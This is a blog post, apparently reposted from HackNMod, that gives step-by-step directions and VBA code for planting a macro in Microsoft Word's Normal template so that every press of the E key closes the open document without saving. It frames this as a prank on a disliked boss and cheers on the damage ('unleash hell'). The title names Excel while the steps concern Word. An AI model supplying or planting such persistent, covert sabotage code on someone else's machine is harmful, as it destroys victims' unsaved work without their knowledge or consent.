DIY HACK – PRANK on your boss’s Microsoft Excel if you don’t like him

Joe from HackNMod sent this hack where you can automatically close Microsoft Word when you victim type ‘E’. Just don’t blame me if you get fired. If you do get fired, you can start making whole bunch of paid wikis like me.

Check out the directions here:

What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document (Remember to re type all quotations)

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub

Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

via HackNMod

One Response to DIY HACK – PRANK on your boss’s Microsoft Excel if you don’t like him

  1. Anurag says:

    that did n’t work in my desktop, which had XP- pro and Microsoft office 2003………..

    any body if fouind the correct working …..of the code then pls let me know……………>??

Leave a Reply

Your email address will not be published.


Check out more interesting categories: Consumer, DIY, Entertainment, Funny, Hack, Misc, Prank, Web.


Related News and Resources